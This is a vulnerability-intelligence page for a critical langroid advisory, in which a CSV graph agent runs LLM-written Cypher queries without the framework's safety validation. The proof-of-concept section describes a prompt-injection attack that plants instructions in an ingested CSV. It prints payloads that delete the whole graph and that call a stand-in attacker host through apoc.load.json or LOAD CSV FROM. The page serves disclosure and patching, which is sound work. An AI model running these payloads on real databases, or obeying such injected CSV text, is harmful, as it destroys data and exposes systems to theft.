llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · langroid

GHSA-83W4-CRCP-3W4P

CSVGraphAgent.pandas_to_kg executes LLM-generated Cypher without the allow_dangerous_operations validation gate

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición119 dDesde la divulgación, 25 jul 2026, 1:09 p. m.
Detección116 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Pide la ventana de mantenimiento antes del viernes.Ponla primerita en tu backlog, porfa.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.65.11
Monitoreo
Detectada +1
25 jul 26
19 nov 26
21 nov 26
25 jul 26
24 ago 26
23 sept 26
23 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-83W4-CRCP-3W4P divulgada · CVSS 9.8 (GitHub)
Remediación Parche 0.65.11 langroid · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
`CSVGraphAgent.pandas_to_kg` (a `Neo4jChatAgent` subclass tool handler) executes fully LLM-controlled Cypher via `write_query` with none of the `validate_cypher_query` / `allow_dangerous_operations` gating that the framework enforces on its other Cypher tool handlers. An attacker who can influence the agent's prompt — including indirectly, via the contents of an ingested CSV that are embedded verbatim into the system message — can cause arbitrary Cypher to run under the agent's Neo4j role: full graph read/exfiltration, arbitrary write/destruction (`DETACH DELETE`, `DROP`), `LOAD CSV FROM` a remote URL (SSRF / arbitrary import), and, where APOC / `dbms.security` procedures are enabled on the role, config-conditional remote code execution.

## Root Cause
`CSVGraphAgent.__init__` unconditionally enables the tool: `self.enable_message(PandasToKGTool)` (`langroid/agent/special/neo4j/csv_kg_chat.py:147`). The handler `pandas_to_kg` (`csv_kg_chat.py:149`) takes the fully LLM-controlled `msg.cypherQuery` and passes it straight to `self.write_query(msg.cypherQuery, parameters=...)` at `csv_kg_chat.py:165`, once per CSV row. `write_query` (`neo4j_chat_agent.py`) runs `session.write_transaction(lambda tx: tx.run(query, parameters))` — the statement text is the unmodified LLM string; only the bind `parameters` (values) are parameterized, never the statement text.

The sibling handlers `cypher_retrieval_tool` (`neo4j_chat_agent.py:334`) and `cypher_creation_tool` (`neo4j_chat_agent.py:364`) call `validate_cypher_query(..., allow_dangerous=self.config.allow_dangerous_operations)`. `pandas_to_kg` calls neither `validate_cypher_query` nor consults `allow_dangerous_operations` (grep of `csv_kg_chat.py` for both symbols returns 0 matches). The framework declares `allow_dangerous_operations` (default `False`, documented at `neo4j_chat_agent.py:73-79`) as an intended security boundary; this handler bypasses it entirely. The only pre-execution logic in `write_query` is the `is_creation_query` string check, which merely sets `database_created = True` and blocks nothing.

## Impact
- Floor (default role, no APOC): deterministic arbitrary graph read (C:H), write/destroy via `DETACH DELETE`/`DROP` (I:H, A:H), and `LOAD CSV FROM` a remote URL (SSRF / arbitrary import).
- Ceiling (APOC / `dbms.security` procedures granted on the role — common): `apoc.load.*` (SSRF + file read), `apoc.import/export`, `CALL dbms.*` → config-conditional RCE, at parity with the sibling Neo4j Cypher-execution class.

## Proof of Concept
Configure a `CSVGraphAgent` with default `CSVGraphAgentConfig` (`allow_dangerous_operations=False`) and a reachable Neo4j instance. The attacker influences either the chat prompt or the ingested CSV (its header + first 3 rows are embedded verbatim into the system message at `csv_kg_chat.py:138-140` with no sanitization), steering the LLM to emit `{"request":"pandas_to_kg","cypherQuery":"MATCH (n) DETACH DELETE n","args":[]}` or, for SSRF / RCE-class payloads, `CALL apoc.load.json('http://attacker.example/x') YIELD value RETURN value`, or a `LOAD CSV FROM` a remote attacker URL statement. With `args=[]` the statement is self-contained (`parameters={}`) and runs verbatim.

## Attack Chain
1. Entry: attacker supplies/influences the CSV ingested as `CSVGraphAgentConfig.data`, or influences the chat prompt directly. Guard: none — CSV header + first 3 rows are embedded verbatim into the system message. Bypass proof: `csv_kg_chat.py:138-140` `BUILD_KG_INSTRUCTIONS.format(header=self.df.columns, sample_rows=self.df.head(3))`, no sanitization.
2. Tool emission: the LLM emits `pandas_to_kg` with a malicious `cypherQuery` and `args=[]`. Guard: the family's intended gate `validate_cypher_query(..., allow_dangerous=self.config.allow_dangerous_operations)`. Bypass proof: the gate is never invoked on this path — grep of `csv_kg_chat.py` for `validate_cypher` / `allow_dangerous` returns NONE; handler `pandas_to_kg` (csv_kg_chat.py:149-174) goes straight to `write_query`.
3. Execution: `write_query(msg.cypherQuery, parameters=...)` (csv_kg_chat.py:165) runs the raw statement in a write transaction. Guard: `write_query`'s only pre-execution logic is the `is_creation_query` string check, which merely sets `database_created = True`. Bypass proof (sink): `neo4j_chat_agent.py` `session.write_transaction(lambda tx: tx.run(query, parameters))` — `query` is the unmodified LLM string; only bind `parameters` are parameterized.
4. Impact: arbitrary Cypher under the agent's Neo4j role — full graph read/exfiltration, `DETACH DELETE`/`DROP`, `LOAD CSV FROM` a remote URL (SSRF); config-conditional RCE where APOC/`dbms.security` procedures are enabled.

## Bypass Evidence
Run against `cypher_validator.py` with the sibling creation-tool settings (`is_write=True, allow_dangerous=False`): the `apoc.load.json(...)`, `LOAD CSV FROM <remote>`, and `CALL dbms.security.listUsers()` payloads are all REJECTED by the sibling creation tool, while `MATCH (n) DETACH DELETE n` is allowed on the write path. Those same `apoc.*`, `LOAD CSV`, and `dbms.*` payloads reach `write_query` verbatim through `pandas_to_kg`, because that handler invokes neither `validate_cypher_query` nor `allow_dangerous_operations`. `DETACH DELETE` (arbitrary destruction) executes on every path.

Fix-scope evidence: the related fix commit `5a3097d` touched only `cypher_validator.py` (new), `neo4j_chat_agent.py` (+22, the two sibling handlers), the arangodb validator/agent, and tests — it never touched `csv_kg_chat.py` (`git show --stat 5a3097d | grep -c csv_kg_chat` returns 0). `csv_kg_chat.py` was last modified at `82490dc` (v0.42.7), long before that fix. This handler is a distinct, still-unpatched Cypher-execution path requiring an independent fix.

## Affected Versions
`<= 0.65.7` (latest release tag, also current HEAD). Vulnerable code verified present on tag `0.65.7`: `write_query` call at `csv_kg_chat.py:165`, no validation on the path, no post-release fix on this file.

## Suggested Fix
Call `validate_cypher_query(msg.cypherQuery, is_write=True, allow_dangerous=self.config.allow_dangerous_operations)` in `pandas_to_kg` before `write_query`, or (better) push validation into `read_query`/`write_query` so all execution paths are gated by the same boundary.

---
Reported by zx (Jace)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
langroid< 0.65.11
0.65.11
0.69.22
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilangroid
Corregida 0.65.11 0 d 0.69.22 no afectada
Versiones corregidas0.65.11
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/langroid/langroid/security/advisories/GHSA-83w4-crcp-3w4p

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.